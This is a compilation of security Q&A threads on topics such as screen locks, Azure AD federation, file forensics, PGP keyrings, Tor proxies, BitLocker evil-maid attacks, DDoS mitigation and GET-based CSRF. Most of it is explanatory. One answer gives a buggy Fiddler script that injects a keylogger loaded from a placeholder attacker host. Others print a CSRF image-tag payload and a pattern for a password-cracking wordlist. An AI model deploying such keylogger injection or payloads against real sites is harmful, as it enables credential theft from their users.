Fully-secured screen lock in Ubuntu with encryption I have Ubuntu 19.10 with full disk encryption. The encryption is effective as long as the system is turned off or restarted. Otherwise the data is unencrypted behind a locked screen which may not be very secured.

I wish to protect against:

mechanisms that bypass screen lock (I have disabled SysRq, but there might be other ways too)
cold boot attacks
attacks through DMA, network, WiFi/Ethernet, physical ports, etc

What's the best way to proceed? Can I have a home encryption on top of full disk encryption, and set the screen lock such that the same password will unlock and decrypt the home drive (I don't want to enter two passwords)?

Is there any secure screen lock (no bug, no vulnerability against X11 crashes, etc)?

The OS + encryption should be able to protect the system 100 percent (except for cold boot attacks which mostly aren't practical: the data rapidly deteriorates).

Based on my understanding what you're looking for is a combination of a few different things that are likely too broad for a single question.

This should give you an idea of how to encrypt on suspend in Linux.

  Is there any secure screen lock (no bug, no vulnerability against X11 crashes, etc)?

Nothing is totally secure and immune from bugs or vulnerabilities. I would shop around and weigh different options. One thing to keep in mind is that you may face incompatibility issues between a custom lock screen application and your desktop environment (if applicable).

  Can I have a home encryption on top of full disk encryption, and set the screen lock such that the same password will unlock and decrypt the home drive (I don't want to enter two passwords)?

This will depend on the implementation of your particular lock screen and encryption setup.

Protecting against cold boot attacks and physical port access or tampering are whole other issues with plenty of material written on them at your fingertips. You'll gain more traction by doing some research on each, picking out specific areas you want clarification on and asking them as separate questions.


Suspicious Autofill on Chrome I was looking at signing up for an online account at a reputable web site  (Vanguard) when I noticed something suspicious. When the site prompted me with a form to enter my name, I noticed--as usual--multiple variations of my name with previous addresses that I've had from Chrome autofill. But in addition to this I noticed the name of a friend I knew in college years ago. It included his first and last name with the zip code he currently lives in. This person has never had physical access to this computer, and I am signed in using a recently created google account that he has no knowledge of. Most interesting is that the autofill includes his current zip code that wasn't associated to him when we were in the same city.

Has my computer been compromised? What has happened here? While this is the first time that I've tried to sign up to this site, I've never seen his name show up in autofill applications before. Can I trust any of my accounts going forward?

It's very unlikely to indicate any security breach; I can't think of any attack that would involve or result in adding content to browser autofill. It would be unusual for someone to fill in their real name in that scenario as well.

As for how it could have happened, here's what I'd suspect. Autofill remembers, for a given field name, everything you type into that field. It can unintentionally have separate entries "FirstName" and "First name", depending on how the fields were called in the page's code. They're not split by purpose, on the other hand, so if you enter someone's name in a people search form, autofill could later suggest it as yours.

Using a different google account won't necessarily reset autofill, as the data is stored on the local PC. Browser data can even travel between two PCs via a common accounts, then between accounts on the new PC, so one can occasionally dredge up really old pieces.


How does the authentication flow with Azure Active Directory differ from Azure ACS? I understand that Azure ACS acted as a STS that had the ability to redirect users to a given STS (OpenID, LiveID, Facebook) or authenticate using a local user/password account.

In a passive situation ACS would use redirects and either respond with a SAML token, and could be a User STS holding user accounts, or a resource STS protecting websites but leaving the user authentication for another host.

Now that ACS is being depreciated in favor of Azure Active Directory, I'd like to know what are the fundamental differences in how Azure AD works on the wire.

Question

What are some sample request-response patterns that would be seen when using Azure Active Directory in an active or passive approach?
Since Azure allows for on-premise AD integration, how is home realm discovery accomplished with an arbitrary UPN

HRD is done through two different mechanisms, which are used in either passive or active contexts. The passive method will determine the realm based on the username after they've lost focus of the username field. A lookup is done of the username and determines what tenant the username is tied to. If the tenant requires federated auth the site will redirect to the new IdP. The active method determines the realm based on the incoming username, and if federation is required a pointer is returned to use the IdP's endpoint.

Whether HRD is necessary is dependent on the authentication method tied to the domain of the user. HRD is required for domains whose AuthenticationMethod is marked as Federated.

The basic process works like this:

Get suffix of UPN
Look up suffix in domain list
If domain present look at AuthenticationMethod
If method == Managed, don't redirect
If context == passive get PassiveLogOnUri
If preferred protocol == WS-Fed redirect to PassiveLogOnUri and set wtrealm = urn:federation:MicrosoftOnline
If preferred protocol == SAML redirect to PassiveLogOnUri with SAMLRequest
If context == active get GetActiveLogOnUri and return to caller

You can look at these values by using the MSOL PowerShell cmdlets and calling Get-MsolDomainFederationSettings, Get-MsolDomain, etc. See here (disclosure - I wrote the post): http://www.syfuhs.net/post/2012/12/07/Windows-Azure-Active-Directory-Federation-In-Depth-(Part-2).aspx

I'm not sure what you mean by the request-response patterns though. In a scenario that requires HRD, it basically works like

  RST-> IdP (AAD) -> RST-IP (ADFS) -> RSTR -> IdP (AAD) -> RSTR


How does forensic software detect deleted files How does forensic software detect deleted files?

When a file is deleted, the pointer from MFT in NTFS system is deleted and the file is no longer accessible from the OS. If our disk is fragmented how can software like Autopsy or Recuva detect where each fragment from a single file is located and how can the software order the fragments correctly to "reproduce" the file as it looked before it was deleted?

I've noticed that when you delete something with CCleaner the first thing it says is "Wipe MFT free space", so my guess is that MFT works like a linked list where, when you delete a pointer the nodes still remain in the memory but are no longer accessible and this is how forensic software detect deleted files.

There are any number of different ways it can be done.  In large part, the easiest way is following the link pointers to each of the chunks, but that isn't the only way by any means. (The MFT isn't the only source of those links in many file systems as well.)

At a lower level, it can identify all the chunks and try to match some of them up on content if the files have an internal structure that allows one chunk to be matched to another.  That won't work for all files though if the pointers are removed, since some don't have much of a pattern to them, but it will work with enough that it's still a major concern, especially since unless your drive is highly fragmented, even a large file probably isn't more than a few dozen large pieces.

Basically, there are a ton of different ways you can try piecing stuff together based on either the physical structure of the drive (contiguous blocks are generally preferred if available), file system features (such as forward and reverse block links) or file structure features, which vary from file to file.

Short of total destruction, there are any number of possible ways to recover the file.  In some cases, simply removing the pointers may be enough, but a truly determined analysis can likely still put the jigsaw together by looking for fragments that make sense together, particularly if they are looking for something in particular.


How to verify a signature against a 3rd-party keyring without any trust anchor? Suppose there is a program and an OpenPGP signature on a website. A user downloads both signature and a program and needs to check if it is the same program the author meant to publish, not modified by anyone else. We consider the build environment, the developer's computer and the developer itself as trusted.

A user also downloads the key from a keyserver and a foreign keyring (probably over untrusted channel), which he supposes has the keys of the people used for signing developer's key, s.a. debian-keyring. User knows noone he can trust, so he is not connected to the web of trust.

How to trust the whole keyring installed as a net of individuals who verify each others but not to trust any minor group of individuals in the net? Will it help to run PageRank treating a valid signature as a vote for key and trust the keys having highest PageRank?

If there is no trust anchor into the Debian keyring (or any other group, but let's stick to the Debian example here), you have no chance of verifying anything.

Faking Whole Networks/Keyrings

It is easily possible to replicate the full Debian keyring with all it's user IDs and signatures issued, it will look totally legitimate while being completely made up. Pagerank will return the exactly same results for both networks. In the end, this is pretty much was evil32 did on the whole OpenPGP strongly connected component to showcase short key ID collision attacks.

Certificate Authority Root Certificates

This is a general problem of certification systems, you always need a trust anchor. For X.509 (as used for TLS and S/MIME), certificate authorities are used whose certificates are declared as trusted in the browsers and operating systems. For OpenPGP, you'll have to go out and find a trust anchor on your own. For the Debian keyring, going to a Debian user meetup or Free Software conference is a good start, you'll meet a whole bunch of people in the keyring there.

Trust on First Use

For the general case and when the keys have already been used for signing stuff you're already using for quite some time, you could also apply "TOFU" (trust on first use): it is unlikely that somebody was able to fake the Debian keyring (or even only some keys of them) in lots of different sources. Have a look at the Linux installation you have -- there is a keyring inside (pretty much all Linux distributions use GnuPG and OpenPGP to verify software in their packet manager). Grab some copies or computer magazines with Linux distributions inside in different stores. Use different internet connections in different places to fetch the keyring. If you always find some of the keys, very likely they actually belong to the Debian keyring (or similar keyrings). This does not verify individuals, but at least it verifies the membership of that key in the keyring to a given degree.


Securing WCF service with X.509 cert Possible Duplicate:
  What is the difference between an x.509 “client certificate” and a normal SSL certificate?

I'm getting really confused with WCF and certs. I have a WCF service which will run on a server w/ SSL enabled. Now, when i configure transport in WCF i have the option to specify a certificate. Do i need to do this since the service is already running on SSL-enabled server?
If so, my other question is what type of a certificate do i need to purchase? There is a myriad of certs available and based on my research not all certs will work with WCF. Can anybody clear this up for me? I appreciate any help.

EDIT:

After more research I came across this MSDN thread which basically verifies that SSL certificates can in fact be used with WCF. Here is the quote from an MS employee.

  WCF does not require certificate capable of Data Encipherment or Non-Repudiation key usage. WCF uses the certificate keys ONLY for encrypting the symmetric key and so certificate capable of Key Encipherment should work just fine. We do not check the Non-Repudiation key usage at all so I dont think that would be a requirement for WCF. To verify I just ran a simple WCF client and service using cert that has KeyUsage: Digital Signature, Key Encipherment  and the client-service communication succeeded. I confirmed using SslNegotiated and MutualCertificate message security modes.

Well, okay: What is the difference between an x.509 "client certificate" and a normal SSL certificate?

I think it should just be closed and flagged as duplicate though.


How to protect against unwanted photographs? Problem
Possible defenses against the attack vector of facial recognition via unwanted photographs.
Background
The advance of facial recognition technology has promoted unwarranted photographs from being a nuisance to being a potentially substantial threat, for recent examples see the cases of Clearwater AI and PimEyes. Although there are many angles to this issue, right now my interest is in technical offlince solutions for avoiding having one's picture taken without consent.
What I found
It seems like the best defenses rely on infrared light.

This answer, proposes the use of LEDs to hide your face from cameras via overexposure, although there are some drawbacks like the need for a constant power source.
A vendor of IR-reflecting glasses promises blocking "95% of the near infrared radiation spectrum". They also sell a frame that produces sort of a halo effect, covering much more than just the eyes. The main drawback here is that those glasses are not super cheap (84$ to 164$), and although privacy always comes at some cost, this could be too high for many people.
According to this answer, certain types of welding glasses should block the relevant spectrum. However, I don't know to what degree they block it and if this would be enough to hide your eyes from cameras.

There are other methods as well, like obscuring your face with a scarf, balaclava, or even the more refined URME mask, but all of these look suspicious to some degree (even though the URME mask is supposed to look innocuous apart from the missing facial reactions).
Question
What is the best way to avoid having an identifiable picture taken, with the restraint that it should be a) accessible and b) relatively inconspicuous?
Edit
Since several comments mentioned some kind of masking: Simply obscuring your face (by wearing a mask, scarf or even make up) no longer seems like a viable option, since Chinese media already report facial recognition technology that works even for obscured faces

This question is not really a true question and is more of an oxymoron.
This question is not really a true question and that may be why possible solutions on this are actively sought for, but that the 'missing something' aspect stays.
The only solution to this question that seems to work correctly and which is very simple, is (and maybe out of range): There is no need to protect against unwanted photographs at all in 99% of the time as most people don't even care who's on it. A human-social bordering question just can't be fixed with technology, no matter how hard you can justify your brain into thinking that that would be the option. Even if it seems to work as intended, it doesn't. period. Why? because human-social bordering problems are very complex, not fixed, not defined and not fixable with technology whatsoever, and that likely will not change for decades to come.
Plus, if you behave normal then why would people even consider to take out their phone right away?


Road to be an Independent Security Researcher? I want to be a security researcher, but I can't find a fixed set of syllabus or sets of skills you need to know before hand in order to be called a security researcher.

It's very unambiguous, Is it that you have to a very good coder so you can write very complex algorithms or  is it that you need to know a good amount of Assembly language or you need to know how to debug a kernel ?

Just do it.

If you want to become an Independent Security Researcher, you can. You can start now. Don't get hung up on whether or not you have the skills for it, just DO IT! The best time to plant a tree was 20 years ago. The second best time is now.

You have plenty of time to learn, and you will learn a lot in your journey.

Q&A Session

  I want to be a security researcher, but I can't find a fixed set of syllabus or sets of skills you need to know before hand in order to be called a security researcher.

Like Schroeder says, once you've found something, you can start calling yourself an Independent Security Researcher. I'll take that a step further: once you get started, you are one. Whether or not you'd be successful, and whether or not you get paid for it, are both entirely different subjects.

What value are you providing as an Independent Security Researcher?
Are people willing to pay for your research, or are you happy to just do it?

  It's very unambiguous, Is it that you have to a very good coder so you can write very complex algorithms or is it that you need to know a good amount of Assembly language or you need to know how to debug a kernel ?

Did you know a lot of Information Security experts are non-technical? No, really. This field is huge. You don't need to be overly technical, depending on what you want to work with.

Privacy & compliance is a huge field which doesn't require you to be technical. Even though people in this area aren't generally technical, I have tremendous respect for the individuals that I've worked with in this sub-specialty.

"Coding" and Assembly

If you're a good coder, Application Security would be a good fit, as would creating security-based programs. There's a lot of other things you can do as well. This is one area of the field with many sub-specialties.

If you want to reverse engineer programs, do malware analysis, or search for vulnerabilities and then create PoCs, then assembly is very useful (as is any language you want to create the exploit in). This is one area with many sub-specialties.

Full Stack Security Engineer? Nope.

Schroeder is right about there not being a "Full Stack Security Engineer." I say this despite dabbling in over 20 different sub-specialties in the Cyber Security "field."

I've got a lot of experience, but there's so much I don't know, and so much I'm lacking. There's no way in hell I'd try to sell myself as a Full Stack Security Engineer.


How Tor, Privoxy, Vidalia and Polipo are getting together? I realized that these applications are frequently used together. What is the role of each software in the mission of anonymity and privacy on the web?

While I understand Vidalia is a GUI provider, I couldn't figure out why Tor needs Privoxy. Isn't it such a proxy provider by itself?

Privoxy is a proxy server that (pay attention here) uses application-layer filtering. HTTP traffic passed through Privoxy will have certain privacy-oriented rules applied to them. For example, Privoxy will block ads, detect and disable click-tracking scripts, disabling pop-ups, etc.

Polipo, on the other hand, is a caching proxy server which is perfect for slow networks. Tor is such a network. Polipo can enhance the appearance of the network performance by using caching and other trickery.

Privoxy and Polipo are not competitors; they have very different purposes. In fact, you can use them together to get the privacy benefit of Privoxy and some performance enhancement by Polipo. This can be done by chaining the traffic between them.


Lost CVV number automatically virus related? If my credit card was used on Amazon, doesn't that mean someone has my cvv number? And would that mean I have a virus?  Or is there another way they can get a CVV code off a credit card?  I know it's possible a site stored it when they should NOT have, but that's the only other way I can think of.

Call your credit card company and ask them whether the CVV number was supplied as part of that transaction.  (I don't think Amazon has ever asked for mine.)

Even if it was, that doesn't necessarily imply a virus or other malicious software on your computer.  That number could have leaked from another merchant, or even from someone to whom you presented your card in person.  That said, if you don't have anti-malware software, you should correct that today.


Is there a reliable way to simulate "Evil Maid Attack" boot path tampering when using bitlocker? Suppose you have a system whose OS drive is encrypted with bitlocker and uses TPM + PIN authentication to authenticate the boot path against tampering.  As I understand it, this setup theoretically protects against bootkits that otherwise could surreptitiously log the password or key used to decrypt the OS drive.  That is, it protects against this type of "evil maid attack".

Is there a way to reliably simulate boot path tampering to test whether boot path authentication is actually working?

I know about this implementation of the evil maid attack but it was designed to attack truecrypt, not bitlocker.

Bitlocker is vulnerable to much the same attack.

This paper describes an attack against the PIN: "At the next boot, the MBR boot loader loads this ﬁle and transfers control to it. A fake BitLocker prompt is displayed (see ﬁgure 1); the entered PIN is stored in the NTFS partition, the original MBR is restored and the system rebooted. Later, the entered PIN can be read from the NTFS partition."

The major finding: "Using a TPM for key management in a straightforward way provides only very limited protection against a dedicated attacker. None of our attack strategies targets the TPM as such. They all exploit the way it is being used by one particular implementation of disk encryption". Which leads me to believe that TPM is not, in principle broken, but that we have yet to develop a system secure against an adversary who is physically present.


Mitigate DDoS attacks by randomly blocking traffic during the period of detection process I'm currently working on a project that builds a defense system against HTTP GET Flooding attacks.
When DDoS attacks occur, traffic volume to a server suddenly increases to be far more than the normal range. However, because the detection process takes time, the defense system cannot immediately mitigate the attacks. So I suppose that before the detection process finds out attacker's IP addresses, my defense mechanism needs a mechanism to randomly block flows to the server to avoid server's resource overload.

Can my randomly blocking approach be effective? Is there any other way to mitigate DDoS attacks during the detection period?

DDoS is a synchronous attack from many points. So there are no such things as "finding attacker address and stop them".

If the attack appears to be hijacked IoT(e.g. Mirai botnet), you still has a little chance to denied those IP, e.g. send a little script to make sure it is authentic browser response, e.g. get a canvas, browser plugin. Mark and drop the IP if there is no response. However. this method is useless if the attacking node is overwhelming your server capacity.

So the only mitigation is some sort of ISP services, e.g. Content Delivery Network(CDN), so massive traffics don't hit your server directly. the CDN that promising DDoS countermeasure(which can make use of SDN/firewall/etc) will implement stated process.


Need help with tech savvy dad So my dad has been Mac filtering my internet access for about 4 years now, he tells me if I want more time I have to find a solution or way round his filtering. I hadn't put much thought into it until about 6 months ago. I decided to do some research and downloaded a programme that would change my MAC address so I was not filtered by my dads router, however he found out about this and while I was away he logged onto my computer and did something I think. Now everytime change my MAC address after a short while my computer shuts it's self down and wheat i turn it back on the original MAC address is back and my internet is limited again. It anyone could help me figure out what he has done to my computer or the network it would be greatly appreciated.

I would like to know the following.

How could he have done this?
If he used any scheduled tasks, how can I find and remove them?
Is there any way to check for any other backdoors he may have installed?

Well, to this question anyone can give you a 100% sure answer.

But, the most probably action your pro-tech dad took is generating a task (maybe as a program or as a shell-script) that auto-executes every x minutes looking for mac-changing programs. So if this program/script detects any MAC-FAKING process executing, it sends the restart/shutdown comand.

Try taking a look on the processes, tasks, etc... to see if there's something strange/new running.

You can also try to find the modifications by date.

Hope this will help.


Can email services upload files from your computer without your permission/knowledge? The company I work for is involved in security clearance work, and thus all company computers are monitored (files, screenshots, etc).

I am routinely logged onto my company email service with my personal laptop.  I have some questions regarding the use of sophisticated company email services when on a remote personal computer.

When I am logged onto the company email service, is it possible for this company email service to upload files from my computer?  Can a company email service gain access to my files in any way?
When I am logged onto the email service, can the company email service monitor my personal computer (recordings, screenshots, etc)?

Depends what you mean by "email service", since as a general rule you're using some client to access an email service, and clients have different capabilities and restrictions.

For example, mobile clients (smartphones) usually provide some support for Mobile Device Management (MDM). While MDM doesn't often involve retrieving files from the device - it's more focused on things like "ensure your device has a strong PIN" and "allow the company to remotely wipe your device if it gets stolen" - in theory it's possible. Some MDM solutions allow the company to install arbitrary apps to your phone, and those apps could potentially access your files and send them back to the company. Mobile email clients vary in how much MDM they support, with the built-in apps usually having the most (though exactly how much that is depends on which mobile OS you're using) and third-party apps (from the store) usually having much less, if any.

Desktop PC clients (Outlook, Thunderbird, Mail.app, etc.) tend to be much more under your own control. Some offer a little bit of device managmeent, but I'm not aware of anything that would let the company read arbitrary files. The company may require you to install and run some other program (like a VPN client) before you can access the email server, and that other program could do things like you describe, but the email client itself probably cannot. At least, it won't do such things just because you connect to the mail server. One could certainly write a (for example) Outlook add-in that contains some sort of corporate spyware, but they can't automatically install that add-in on your computer; you'd need to do that yourself.

Webmail clients (Gmail, Outlook Web Access/App, etc.) are actually the most restricted. Webmail is, of course, accessed through a web browser, and web browsers have very tight restrictions on what a web site can do (among other things, these restrictions prevent accessing files on your computer unless you manually upload the file to the web app). Furthermore, most browsers (Firefox being the notable exception) have sandboxes so that even if a web site compromises the browser, they still can't access most of your computer. Of course, there's still the add-in/extension attack vector - if your company requires you to install a browser plugin before you can access their email, that plugin could do anything including read files - and also the potential VPN client issue.

So, technically speaking, no. An email service should not be able to monitor your files or computer usage. In the case of a mobile device, maybe it would be possible, but with a desktop PC or especially with webmail, nope. Not without completely compromising the security on your email client and taking it over.

That brings me to the second point, which is that employing spyware like that on privately-owned computers without the user's knowledge and consent would be illegal in most jurisdictions (even if they didn't need to compromise software on your computer - which is itself illegal - to make the spyware run). Now, spyware is not illegal per se; if you install a VPN client and it tells you it's going to monitor your computer usage and you click OK anyhow, then you've consented to having your computer monitored by that software. If it doesn't tell you that but does it anyhow, though, you'd probably have a solid case for a lawsuit (I am not a lawyer, this is not legal advice, please review your own employment contract and/or legal code, and hire a lawyer if you need legal advice).


spkac: what is the purpose of the challenge string? The SPKAC ASN.1 description:

PublicKeyAndChallenge ::= SEQUENCE {
    spki SubjectPublicKeyInfo,
    challenge IA5STRING
}

SignedPublicKeyAndChallenge ::= SEQUENCE {
    publicKeyAndChallenge PublicKeyAndChallenge,
    signatureAlgorithm AlgorithmIdentifier,
    signature BIT STRING
}

What's the point of the challenge string?

From the OpenSSL documentation on the subject:

  The challenge string permits a primitive form of proof of possession of private key. By checking the SPKAC signature and a random challenge string some guarantee is given that the user knows the private key corresponding to the public key being certified. This is important in some applications. Without this it is possible for a previous SPKAC to be used in a "replay attack".


Wordlist generator with a certain pattern I am trying to generate a wordlist. I am using crunch but I am stuck at defining the pattern I want the words to be generated. For example, I want to define a rule such as this:
Password: Ameri948 ca#
Words: [A|a]meri[\d\d\d][space|no space][C|c]a[space|*|#]
Which means, I know the structure of the password and the exact length (here the space or no space plays a role), but not the exact combinations, e.g. the first character is for sure an A but I don't know whether it is a capital A or a lowercase one. And another problem is spaces, to get the password to a certain length, which I know, I tried some sort of padding with spaces in between words.
Can a pattern like this be defined in crunch? Or would you suggest just coding it?

You could use a tool like Generex to generate strings out of a regular expression. I think your case would be:
[Aa]meri\d{3}\s?[Cc]a\s{0,4}#

I limited the latter space to max 4 so the regex would be able to terminate. There are some online tools available that do this too.


Flaw in encryption through pseudorandom number stream (from PGP documentation) I was reading PGP docs and came upon a part written by Phil Zimmermann (PGP's creator) that piqued my curiosity:

  When I was in college in the early 70s, I devised what I believed was a brilliant encryption scheme. A simple pseudorandom number stream was added to the
  plaintext stream to create ciphertext. This would seemingly thwart any
  frequency analysis of the ciphertext, and would be uncrackable even to the
  most resourceful government intelligence agencies. I felt so smug about my
  achievement.

  Years later, I discovered this same scheme in several introductory
  cryptography texts and tutorial papers. How nice. Other cryptographers had
  thought of the same scheme. Unfortunately, the scheme was presented as a
  simple homework assignment on how to use elementary cryptanalytic
  techniques to trivially crack it. So much for my brilliant scheme.
  From this humbling experience I learned how easy it is to fall into a false sense
  of security when devising an encryption algorithm.

What techniques would be able to trivially decrypt text encoded in this way?  It seems nearly equivalent to a one-time pad (which is unbreakable without the pad), provided that the pseudo-RNG is complicated enough (period much longer than encrypted text; mean size added to each character significantly larger than size of chars) and a suitably complicated seed (so you can't brute force every seed).

E.g., using a Mersenne-Twister (with a period of 2^19937 -1 ~ 4.3x10^6001 ) and a passphrase that generates a random 256 bit seed; it seems uncrackable without being given the seed.

Or did they generate simple random number generator with a period of 2^32 - 1 ~ 4.3 billion (it was the 70s; the Mersenne Twister wasn't even invented until the mid-1990s); where you could brute force try each of the 4.3 billion random seeds with a quick check of the cipher text to see if dictionary words appear or simple frequency analysis (lots of spaces and e)?

A PRNG being "good" (having strong statistical randomness guarantees, say, plus having a long period) says nothing about its security. See e.g. discussion in this thread.

The thread discusses the difference between:

one time pads (unbreakable in principle as long as they are neither leaked nor re-used, but usually impractical)
stream ciphers (which can be made as secure as necessary, and can be quite practical)
PRNGs (that weren't designed to be cryptographically secure) used as stream ciphers (typically easily broken)

What Phil should have used was a stream cipher not just any old PRNG. MT (and earlier PRNGs) are not suitable for use as a stream cipher. Salsa20/ChaCha (by Dan Bernstein) and ISAAC are two specific stream ciphers. ISAAC is used by shred. Salsa20 is part of the EU eSTREAM/ECRYPT programme. Of course, Phil can be forgiven for not using a stream cipher: RC4 (which is considered broken -- its weakness are part of what makes WEP insecure -- but which is the basis for ISAAC) was only invented in 1987.

The cryptographic weaknesses of normal PRNGs (including MT and Wichmann-Hill) has lead to vulnerabilities in e.g. TCP sequence number attacks. Those vulnerabilities are sometimes addressed using a different sort of CSPRNG, which gathers entropy "as it goes" (e.g. from mouse/timing jitter). To be suitable for use as a stream cipher, a CSPRNGs must have all the input entropy available at the start, rather than gathering it as it goes. See the wikipedia pages on CSPRNGs and on /dev/[u]random.


Should the serial number of multi factor devices be removed? I'm trying to understand the relationship between the serial number of a multi factor device and the cryptographic material behind it.

I don't want to blindly assume that the serial number is just a "lookup table" to the cryptographic information backing it up.

So for the major vendors (Gemalto, RSA, Yubikey, etc) is the serial number on the back of a token "sensitive" and should it be removed?

This question is on the premise that the serial number could be written down by a 3rd party and they could emulate the cryptography... thus breaking the premise of "something you have"

The serial number is not the seed used to generate the codes used for authentication.  The serial number is used to assign a particular device to a particular user.  If you remove that serial number from the back of the device you are most likely only inhibiting your ability to reuse that token should its owner ever be changed.  The concern is if the vendors algorithm becomes leaked. There is no known attacks that can occur simply via using a serial number fo a two factor authentication device.


What is the purpose of HTTPS GET vs POST requests when certificate pinning? I have a mobile app which uses public key pinning to make sure that I only connect to servers from my CA. This works great with https, and it makes it so that nobody can really proxy my server and read the requests without going through some degree of trouble.

A colleague came up with an idea that certificate pinning makes it so that POST requests aren't really as useful because we don't make requests unless the certificate/public key of the server we're talking to matches the pinned one on the mobile app. Therefore, people wouldn't be able to snoop the POST body at all.

Is there any reason why GET would be less secure than POST for a case when public key pinning is present for mobile apps?

GET requests can be forced upon you easily. Basically, suppose that there is a secure server to which you talk with GET requests under the protection of HTTPS and certificate pinning and whatever else you may imagine as some extra protection. Let's call www.example.com this server. Some of these requests are intended to have an effect, e.g. a GET request to:

https://www.example.com/sendEmail?to=foo@bar.com

triggers a process on your server which culminates in sending an email to the specified address.

Now, an industrious attacker follows you around and wait for you to sit down in some fast food restaurant with free WiFi; he knows that you will connect to that WiFi an engage into some casual Web browsing. The attacker whips out his own portable WiFi access points (like that one) and waits for you to connect to his hardware. At that point, the attacker can see and modify all your traffic. Of course, SSL keeps him out. However, when casually browsing, you don't visit only HTTPS Web site. If your browser ever makes a connection to an HTTP Web site (without SSL), then the attacker just has to insert the following text in the returned HTML:

<img src="https://www.example.come/sendEmail?to=francisco@vatican.va" />

and boom! You've just spammed the Pope. Indeed, upon seeing that small piece of HTML, your browser dutifully sends a GET request to the specified address. This works regardless of the provenance of the page in which this HTML tag appears; the GET requests from <img> tags totally evade the Same-Origin Policy.

POST requests cannot be fabricated that way. Therefore, regardless of how sure you are that you talk to the servers you intend, you shall use GET requests for read-only processing only.


Intercept web traffic using Fiddler and add a keylogger function Can we intercept the web traffic using Fiddler and inject a functionality such as key logger before the request being made to the server ?

Yes you can do this.

First of all you need to add the fiddler extension called Fiddler script.  This allows you to handle Fiddler events such as OnBeforeRequest, OnBeforeResponse etc..

Since you need to intercept the traffic on request, you need to intercept the OnBeforeRequest event.

Following is a sample code that you can use to achieve this using fiddler script. Please note that you will not be able to achieve exactly what you need from this script , but use it as a startup and modify according to your need.

if (oSession.HostnameIs("www.yourtargetsite.com") && oSession.HTTPMethodIs("POST")) // or what ever your web method
{
    oSession.utilDecodeResponse();
    var body = System.Text.Encoding.UTF8GetString(oSession.responseBodyBytes); // grab the request body here

    var logger = '<script src="http://yourhackingsite.com/logger.js"></script>';
    logger += '<script>destination=http://yourhackingsite.com/LogKeyPress?key=";</script>';

    body = body.replace("<head>",logger + "</head>");
    oSession.utilDecodeResponseBody(body); // inject your custom altered body
}


How to enable OCSP stapling on my FTPS server. Is it even possible with vsftpd? How to enable OCSP stapling on my FTPS server. Is it even possible with vsftpd or not?

Even if possible, would it be wise on an FTPS server? Isn't that only a web-thing?

Current result:

High-Tech Bridge > SSL/TLS Server Test > ftp.zalohovaniburian.cz:21

Is it even possible with vsftpd or not?

After looking at the documentation there is no way to configure OCSP stapling support in vsvftpd.

  Even if possible, would it be wise on an FTPS server? Isn't that only a web-thing?

OCSP stapling serves the OCSP response inside the TLS handshake. This makes sense for FTP too since this way the FTP client does not need to do an extra OCSP lookup (which costs performance and is more privacy-invasive). But, if any relevant FTP clients to an OCSP lookup in the first place is unknown to me, at least in the past many did even do proper certificate validations like validating the hostname.


unix malicious scripts/ksh execution I'm wondering whether my architecture poses a security risk.
Details:

The whole website is not ROOT owned but still, the APACHE user used instead has some pretty advanced permissions.
I have a folder "user_files" that may hold any kind of user files. For example, a ksh unix file.
My php.ini disables the exec php function (as well as some other sensitive functions)

My question is simple yet bears 2 aspects:

could somebody execute the uploaded script?
what is the magnitude of the risk? If the script is executed by apache I guess the maximum it could do is to delete all apache owned files of the server, right?

Edit: this I think relates to programming, since I am also asking the question from a programming point of view (execution of scripts through php)

There are quite a few considerations that need to be made here.  First, although your php.ini disables the exec php function there remains the web server security itself. Consider the following:

1) Does your web server allow script execution for other languages (perl, python, or CGI in general)?  Or, perhaps scriptalias definitions.

2) Are you concerned about protecting users that view the website?  i.e. if someone installs a malicious iframe or .htaccess file?

3) Are you concerned about hosting malicious/illegal content?

4) Are you concerned about being a spam/attack relay?

If someone is able to execute code under the context of the apache user, you have to assume a few things.  First, you have to treat the apache user as any account with an interactive shell.  Anything another user can do on the local system, the apache user would (likely) be able to.  (i.e. DoS, attack other systems, attack higher privileged accounts, host content).

HTH.


Using randomly generated numbers to authenticate with a Relay server I'm developing a public VoIP relay server, that will help bypass internet firewalls by allowing two clients to connect with it and then it will relay data between the two. Both clients will connect with an API endpoint to authenticate first and request a VoIP session, encryption keys etc. The sole job of the VoIP server is to relay data. I was thinking of providing a 64-Bit random number (ID) using a CNG to both clients along with the encryption keys - from the API endpoint. The way it will work is that when the clients connect with VoIP server they will identify themselves by just providing the ID in plaintext (no SSL). The relay server will look at the IDs (and whether they are valid, not used already etc) and pair the two connections internally and reply with a Confirmation message to both clients that the link is active. Then clients can use the encryption keys (AES) to start sending encrypted data to each other.
The benefit I see of this approach is that that I don't have to write any encryption code for the VoIP relay server and will simplify the development of VoIP by a great margin! Do you guys think this is a secure setup? Is this prone to Man-in-the-middle attacks?

Some Clarification: Initially both clients will connect with the API EndPoint(RestFul Service) over a secure connection (SSL) to authenticate themselves, request a VoIP call, which will create two unique IDs (the pair would be sent to the VoIP Relay Server as well) and AES Encryption keys (only sent to the clients). The idea is that VoIP server does Not need to know anything about the connection so why waste development time and effort with setting up SSL. It will only pair two connections to each other, so just verify the IDs that each incoming connection is providing and then pair the two connections together (i.e. forward data from A->B and B->A). Clients will use AES encryption on their ends to encrypt data they are sending to the relay server but won't be TLS/SSL protocol. Regarding IDs, both clients will get a unique ID but the relay server would have both IDs, so it can pair them.

As you described it, this relay scheme is secure, if the data relayed via the server is properly authenticated and encrypted.

The only attack vector I found would be, that an attacker could determine (based on the pairing codes) which 2 clients want to talk which each other, but traffic analysis would have shown this either way.

As the API distributes keys to the clients you might want to implement/use ECDHE_PSK_* TLS cipher suites between the two clients, so that event the API can't read the traffic. WikipediaYou can use TLS (and I'd recommend it) for end-to-end communication between the clients, so you still won't have to implement TLS for the relay server.


How secure is a Python Pyro daemon for storing a password? I am using the Pyro package to create a daemon which will, upon startup, prompt for a password, and then the daemon will store that password as long as it is running.  Other scripts will then make a Pyro connection to this daemon and execute methods from the daemon, none of which reveal or have access to the password:

my_daemon.py:

import getpass
import Pyro.core

password = getpass.getpass()

class TestDaemon(Pyro.core.ObjBase):
   def __init__(self):
      Pyro.core.ObjBase.__init__(self)
   def do_some_stuff(self):
      return "I am a method which would do some stuff, utilizing password \"{0}\" which is only accessible from this daemon.".format(password)

Pyro.core.initServer()
daemon=Pyro.core.Daemon()
uri=daemon.connect(TestDaemon(), "TestDaemon")
daemon.requestLoop()

driver.py:

import Pyro.core
my_daemon = Pyro.core.getProxyForURI("PYROLOC://localhost:7766/TestDaemon")
print my_daemon.do_some_stuff()
# note: the password variable in the daemon is inaccessible from here.

